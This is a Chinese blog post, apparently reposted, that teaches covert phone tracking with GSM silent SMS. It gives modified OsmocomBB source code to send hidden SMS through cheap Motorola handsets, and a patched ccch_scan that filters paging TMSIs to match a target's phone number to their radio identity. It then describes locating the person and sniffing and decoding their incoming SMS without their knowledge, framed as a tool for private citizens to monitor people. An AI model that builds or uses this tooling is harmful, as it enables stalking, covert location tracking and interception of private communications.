GSM Hacking:静默短信(Silent SMS)在技术侦查中的应用

From:https://cn0xroot.com/2016/12/09/gsm-hacking%ef%bc%9athe-application-of-silent-sms-in-technical-investigation/

Author:fl00der        https://twitter.com/xdzou

GSM Hacking:The application of Silent SMS in technical investigation

GSM 基站

0x00 前言

技术侦查时我们经常需要对目标人物进行定位,监听目标人物的电话和短信。

如何做到呢?首选当然是高大上的7号信令系统(SS7)。你需要一个能够访问的支持MAP(Mobile Application Part)的SS7信令接入点,然后,你理论上就可以侦听,拦截,伪造全球任何移动用户的电话和短信了,也可以获得该手机当前接入的Cell ID从而精确定位。因为全球的电信运营商都连在一张信令网上,除非某些运营商做了信令过滤,否则不管你从哪个国家接入SS7,命令在全球运营商那里都会得到忠实执行。目前国际上常见的SS7信令接入点的租用价格是每月几千美元起,对机构来说并不是很贵。

科普:

SilentSMS:静默短信

信令系统#7(SS7:Signaling System #7)由 ITU-T 定义的一组电信协议,主要用于为电话公司提供局间信令。SS7 中采用的是公共信道信令技术(CCS:common-channel signaling),也就是带外(out-of-band)信令技术,即信令服务提供独立的分组交换网络。

MAP:Mobile Application Part (移动应用部分)七号信令的子集。用于连接分布式交换单元(MSC)和主数据库(HLR)。HLR能动态存储移动网络用户的当前位置和预置文件。在处理拨入呼叫的过程中需要使用HLR。当网络用户位置改变时,HLR也要相应更新,用户便由网络中的其他交换机服务。

MAP协议的主要内容包括移动性管理、呼叫业务处理、补充业务处理、短消息业务处理、操作维护和GPRS业务处理等。

Clipboard Image.png

但我们既不是国家机器,也不是土豪,我们只是一个普通的朝阳群众,怎么低成本的推动世界和平,保卫国家安全,以及对公众人物进行监督呢?

打开世界五大王牌情报组织之一朝阳群众的野战工具箱,我们会看到很多民间自制的情报工具,本文介绍其中的Slient SMS的低成本实现方法和简单应用。

其实,Silent SMS在各国执法部门都大量使用,即使他们同时也在使用SS7,比如柏林警方去年的发送数量就超过了10万。和SS7只能定位到基站不同,Silent SMS配合伪基站+三角定位法,开阔空间定位精度可以达到1米左右,实战中可以直接定位到广场上的某个人。这样即使目标人物使用了易容术,随身携带的手机也会不知不觉的告诉我们真相。


0x01 背景知识

手机号码(MSISDN)在移动通信网上是很少进行传输的。对于移动网络来说,区别不同手机的惟一ID是IMSI(International Mobile Subscriber Identity)。MSISDN是为了方便人类而做的一个IMSI在现实世界的映射。你打电话发短信时提交的是对方的MSISDN,移动网络收到你的请求后要把MSISDN映射回IMSI,然后才能处理。你接电话收短信时对方的MSISDN也是单独发送给你的,好让你能知道知道对方是谁。

而为了保护安全和隐私,IMSI在设计上也是尽量少的在网络上传输的,通常情况下只在首次Attach和越区切换位置更新时才需要向移动网络提交你的IMSI。当移动网络确认你的合法身份后会指派一个临时身份给你,在GSM网络里是TMSI(Temporary Mobile Subscriber Identity),在LTE里是S-TMSI(为了简化我们也把它称作TMSI),之后在需要身份识别的时候,都是用TMSI的。

科普:

IMSI(International Mobile Subscriber Identity,国际移动用户识别码)用于在全球范围唯一标识一个移动用户。一个IMSI唯一标识一个移动用户,在全世界都是有效的。

无线网络覆盖的范围很大,如果IMSI在网络中传递时被不法分子获取,这个是非常危险的。所以需要采用另外一种号码临时代替IMSI在网络中进行传递,这就是TMSI(Temporary Mobile Subscriber Identity,临时移动用户标识)。采用TMSI来临时代替IMSI的目的为了加强系统的保密性,防止非法个人或团体通过监听无线路径上的信令窃取IMSI或跟踪用户的位置。

所以,在我们侦听移动通信时会发现,上行的通信请求,不管是发短信还是打通话,只能侦听到发起者的TMSI和接收者的MSISDN;而下行的通信,不管是来电话还是来短信,只能侦听到发起者的MSISDN和接收者的TMSI。这样,如果我们不能找出TMSI和MSISDN的一一对应关系,我们就没法区分出哪些短信和通话是指向我们的目标人物的。

而找出了TMSI和MSISDN的对应关系,也就能通过侦听知道目标手机当前连在哪个蜂窝基站,从而实现对目标人物的定位。

扩展阅读

关于这里提到的定位的姿势可以看《从无线电角度揭秘定位劫持》一文的基站定位部分。


0x02 原理

当有新的Mobile Terminated Services,通常是短信或来电,要传送的时候,移动网络会发起Paging。目标手机守听时发现网络在呼叫自己的TMSI,就会向网络申请一个信道,申请成功后,手机转到该信道发送呼叫响应,网络回复该呼叫响应,然后经过鉴权、加密协商等流程后,网络开始向手机传送服务,这时手机才知道来的是电话还是短信,在收到一部分服务信息后,手机开始决定是否提示用户和如何提示用户,是来电话了还是收到短信了,是振铃还是震动等。

我们试图在不惊动目标人物的情况下找出TMSI和MSISDN的对应关系,依靠的就是Paging。根据以上流程我们可以看到,如果我们电话呼叫目标手机,在一个合适的时间点,即网络上已经广播了Paging信息,但目标手机还未振铃之前及时挂断,目标手机也是没有提示的,而我们却侦听到了一次Paging。如果能按照一定的时间间隔和多次重复这个过程,我们就能从侦听到的大量Paging广播中筛查出目标TMSI。问题在于,这个合适的时延比较难把握,而且不同运营商,甚至不同区域的网络还有差异,调校起来比较费事。这时,Silent
SMS就成了我们的首选。

Silent SMS是一种特殊格式的短信,在短信报文头上设置特殊的标识位以后,接收者手机收到后不会有任何提示和反应,也不会存储短信内容,而是直接丢弃。不使用特殊技术手段无法发现手机收到了Silent SMS。向目标手机发送Silent SMS,我们会侦听到网络广播的Paging信息,但是不需要像电话呼叫那样顾虑时延和及时挂断的问题,目标手机上不会有任何提示。而且我们还可以在空中侦听到短信的完整内容,当侦听到我们自己构造的特定内容的短信可以帮我们进一步确认该TMSI就是我们的目标。

TMSI是在一个LAC(Location Area Code)/TA(Tracking Area)里有效的,每当进入一个新的LAC/TA,手机就会被网络指派一个新的TMSI。要找出的对应关系,必须侦听目标手机当前所在的LAC/TA。对我们有利的是,Paging也是在LAC/TA里有效的,除了LTE的Smart Paging。


0x03 低成本实现

朝阳群众的情报工具应该尽可能的便宜,所以我们使用开源软件+廉价设备的方式。我们优选的方案是OsmocomBB + Motorola C118/C139。

网上能找到国外黑客写的用Python调用USB短信猫发送Silent SMS,用Airprobe + RTL-SDR接收的源代码,但是硬件成本比我们的贵,最关键是代码比较散。

OsmocomBB:基于一套泄露的基带源代码重写的开源的GSM基带项目,只能支持TI Calypso基带处理器。被用来参考的那套泄露源代码不完整,只有90+%的源代码,部分连接库没有源代码,而且也缺少DSP的代码。OsmocomBB被设计成黑客的实验工具,而不是供普通用户使用的手机系统,为了方便编写和修改,其Layer 2和3是在PC上运行的。

Motorola C118/C139:玩GSM必备,天然支持跳频,便宜,淘宝只要7元,可大量购买,接在USB Hub上,实现多路短信收发。其中,C139是彩屏,且ROM大些,是有潜力改造成用于复杂GSM攻击或工程路测,且支持中文显示和输入的黑客手机的。

具体实现上,我们需要使用两部C118/C139手机,一部用来发送Silent SMS,另一部用来侦听PCH并记录正在呼叫的TMSI。

C118(左)和C139(右)兄弟合影:

C118&C139.jpg

用来将C118/C139连接到电脑的CP2102(USB串口转换器)及2.5mm音频插头:

CP2102.jpg


0x04 如何发送Silent SMS

OsmocomBB里的mobile程序是工作在Layer 2-3,用来收发短信和接打电话的。我们就修改它来发送Silent SMS。其实,可以把C118/C139看做是最便宜的短信猫,而修改过的mobile程序就是短信群发软件。

构造Silent SMS

每个短信都有一个TP-Protocol-Identifier字段,只要设置为0x40就相当于告知接收手机忽略此短信,所以目标手机会正常接收到这条短信,但是之后既不会提示也不会保存这条短信,只是简单的丢弃掉。每个短信还有一个TP-Data-Coding-Scheme字段,如果把首字节设为0xC0,接收手机同样会忽略此短信。

我们只要在发短信之前,把对应的字段做好设置,发出的就是Silent SMS了。这两个字段可以都设置,也可以只设置一个。偶尔会碰到运营商过滤特殊格式短信的情况,这时候就需要具体试一下到底哪个有效。我自己到目前为止没遇到过滤的情况。

主要数据结构

为了按特定时序发送Silent SMS,我们需要一个定时器。设定好时间间隔,定时器就会被定时触发,然后调用发送函数去发送一条Silent SMS。

struct osmo_timer_list tick_timer_smsping;
struct {
    int pid;
    int dcs;
} silent_sms;

主要源代码

vty_interface.c

//新增控制台命令:silent,用于设置TP-PID和TP-DCS
DEFUN(silent, silent_cmd, "silent TP-PID TP-DCS",
    "Set SMS messages header\n"
    "1 for 0x40, 0 for default\n"
    "1 for 0xC0, 0 for default\n")
{
    int pid;
    int dcs;

    if (argc >= 1) {
        pid = atoi(argv[0]);
        dcs = atoi(argv[1]);
        if (pid) {
            silent_sms.pid = 1;
        } else {
            silent_sms.pid = 0;
        }
        if (dcs) {
            silent_sms.dcs = 1;
        } else {
            silent_sms.dcs = 0;
        }
    }

    return CMD_SUCCESS;
}

发送部分的源代码:

if(smscnt == MAX_SMS_Count){//开始批量发送
        tick_timer_smsping.cb = &sms_ping; //初始化定时器
        tick_timer_smsping.data = &timer_step;
        
        smscnt--;
        ping_sms_sca = strdup(sms_sca);
        ping_number = strdup(number);
        ping_sms_txt = strdup(argv_concat(argv, argc, 2));
        call_vty = vty;
        sms_send(ms, sms_sca, number, argv_concat(argv, argc, 2));
        vty_out(vty, "Slient SMS %d sent%s", smscnt, VTY_NEWLINE);
    }

gsm411_sms.c

struct gsm_sms *sms_from_text(const char *receiver, int dcs, const char *text)
{
    struct gsm_sms *sms = sms_alloc();

    if (!sms)
        return NULL;

    strncpy(sms->text, text, sizeof(sms->text)-1);

    sms->reply_path_req = 0;
    sms->status_rep_req = 0;
    sms->ud_hdr_ind = 0;
    if (silent_sms.pid)
        sms->protocol_id = 0x40; /* type 0 */
    else
        sms->protocol_id = 0; /* implicit */
    if (silent_sms.dcs)
        sms->data_coding_scheme = 0xC0;
    else
        sms->data_coding_scheme = dcs;
    strncpy(sms->address, receiver, sizeof(sms->address)-1);
    /* Generate user_data */
    sms->user_data_len = gsm_7bit_encode(sms->user_data, sms->text);

    return sms;
}

用来重复发送的源代码:

void sms_ping(void *data)
{
    struct osmocom_ms *ms;

    ms = get_ms("1", call_vty);
    vty_notify(ms, "ping sent");

    if(smscnt == 0){
        return 0;
    }

    sms_send(ms, ping_sms_sca, ping_number, ping_sms_txt);
    smscnt--;
    return 0;
}
static int gsm411_sms_report(struct osmocom_ms *ms, struct gsm_sms *sms,
    uint8_t cause)
{
    vty_notify(ms, NULL);
    if (!cause){
        vty_notify(ms, "SMS %d to %s successfull\n", smscnt, sms->address);
        if(smscnt != 0)
            osmo_timer_schedule(&tick_timer_smsping, 10, 0);//定时间隔10秒

    }else
        vty_notify(ms, "SMS to %s failed: %s\n", sms->address,
            get_value_string(gsm411_rp_cause_strs, cause));
    
    return 0;
}

使用mobile的命令行发送Silent SMS:

sendslientsms.jpg

使用WireShark侦听发送的短信,可以看到TP-PID和TP-DCS分别是0x40,0xC0,短信内容为“testing 1 2 3”:

sendsniff.jpg


0x05 如何筛选TMSI

OsmocomBB里的ccch_scan程序经常被大家用来侦听短信。我们修改它来筛选排查出可能的目标TMSI。

在开始发送Silent SMS的时候,就立刻启动ccch_scan记录所有Paging的TMSI。通常,从开始发短信,到空中出现Paging信息,最快3秒钟,多数情况6-7秒钟。繁忙的基站每秒广播20多次寻呼。所以我们把TMSI队列深度设为300是足够的,大约可记录从发送Silent SMS开始15秒内的所有被呼叫的TMSI,这300个里面一定有我们的目标的TMSI,通常是在前面开始部分。队列到300为止,我们就是在这300个里面找出来重复次数大于我们设定次数的TMSI并打印出来。

数据结构

struct _tmsis_ {
    uint8_t     tmsi[4];
    char        cnt;
} tmsis[300];

列出TMSI的源代码

void tmsi_match(uint8_t *t)
{
    if(app_state.finding==1){
        int i;
        int f=0;
        for(i=0; i  app_state.mincnt){
                    printf("Possible TMSI: #%d, \t%s, %d times\n", i, osmo_hexdump(t,4), tmsis[i].cnt);
                }
            }
        }
        if((f==0)&&(app_state.tmsicnt<300)){//队列深度       
            app_state.tmsicnt += 1;
            memcpy(tmsis[i].tmsi,t,4);
            tmsis[i].cnt = 1;
            printf("New TMSI:#%d, %s \tTotal: %d\n", i, osmo_hexdump(t,4), app_state.tmsicnt);
        }
        return;
    }
    
    if(!memcmp(t, app_state.wanted_tmsi, 4)) {
        app_state.tmsi_matched = 1;
        printf("TMSI Match %s\n", osmo_hexdump(t,4));
    }
}

我们给ccch_scan新增加一个参数:-f paging次数。

国内不少地方为了提高接通率,当有Mobile Terminated Service要传递的时候是重复发出寻呼信息的,有的是Paging两次,多的甚至连续寻呼四次。这样如果你连续向目标手机发送10次短信,可能会侦听到20-40次Paging。所以你实战中你需要先侦听网络的PCH来以确定当地的设置情况。

static int l23_cfg_print_help()
{
    printf("\nApplication specific\n");
    printf("  -k --kc KEY           Key to use to try to decipher DCCHs\n");
    printf("  -t --tmsi TMSI        Filter assignments with specified TMSI (paging only)\n");
    printf("  -f --count        Filter paging TMSI\n");

    return 0;
}

static int l23_cfg_handle(int c, const char *optarg)
{
    switch (c) {
    case 'k':
        if (osmo_hexparse(optarg, app_state.kc, 8) != 8) {
            fprintf(stderr, "Invalid Kc\n");
            exit(-1);
        }
        break;
    case 't':
        if (osmo_hexparse(optarg, app_state.wanted_tmsi, 4) != 4) {
            fprintf(stderr, "Invalid TMSI\n");
            exit(-1);
        }
        app_state.finding = 0;
        break;
    case 'f':
        app_state.finding = 1;
        app_state.mincnt= atoi(optarg);
        break;
    default:
        return -1;
    }
    return 0;
}

运行ccch_scan来开始筛选TMSI,我们要求程序列出Paging超过16次的TMSI:

TMSIfilter0.jpg

同时显示发送和筛选两个窗口,有的TMSI随着每次短信发送有节奏的出现,很快有一个TMSI就引起了我们的注意:818003B5,随着不断的发送短信,还不到10次短信,我们已经可以确定目标TMSI就是它。而且可以看出当前网络每传递一次短信就侦听到4次Paging:

TMSIfilter.jpg

我们拿出目标手机来确认一下,果然是这个TMSI。注意,为了工作方便,朝阳群众大都随身携带这种已开启Net Monitor的Nokia 3110手机:

TMSIResult.jpg

用WireShark来侦听目标手机接收到的短信:

receivesniff.jpg

用我修改过的ccch_scan来侦听并解码目标手机所在基站的下行短信:

sniffsms.jpg


0x06 后记

手机通信安全跨着通信和计算机两个专业领域,两者都精通的安全研究人员比较少,因而一直缺少成熟好用的攻击工具。要想玩好手机安全,一定要自己动手编程,打造自己的安全工具。

本文没有涉及LTE下的TMSI筛选和手机定位,但是Paging的原理类似,而且下行的数据报文传递前也会产生Paging信息,再加上运营商的2G/3G/4G是可以互操作的,因而可以利用的途径更多。惟一的问题是缺少基带开源的LTE手机,我们要玩LTE,就必须使用SDR,导致成本不够亲民。即使发送Silent SMS仍然使用C118/C139,侦听LTE通信也必须使用SDR。而且因为我国特殊的频段划分,LTE没有得到低端的黄金频段,基本集中在1900MHz和2600MHz,这样便宜的RTL-SDR也就无能为力了,玩LTE最差也要买个HackRF,但目前国产山寨HackRF质量还不稳定。。。

关于LTE下的玩法,未来找时间专文再探讨吧。
  • 6
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值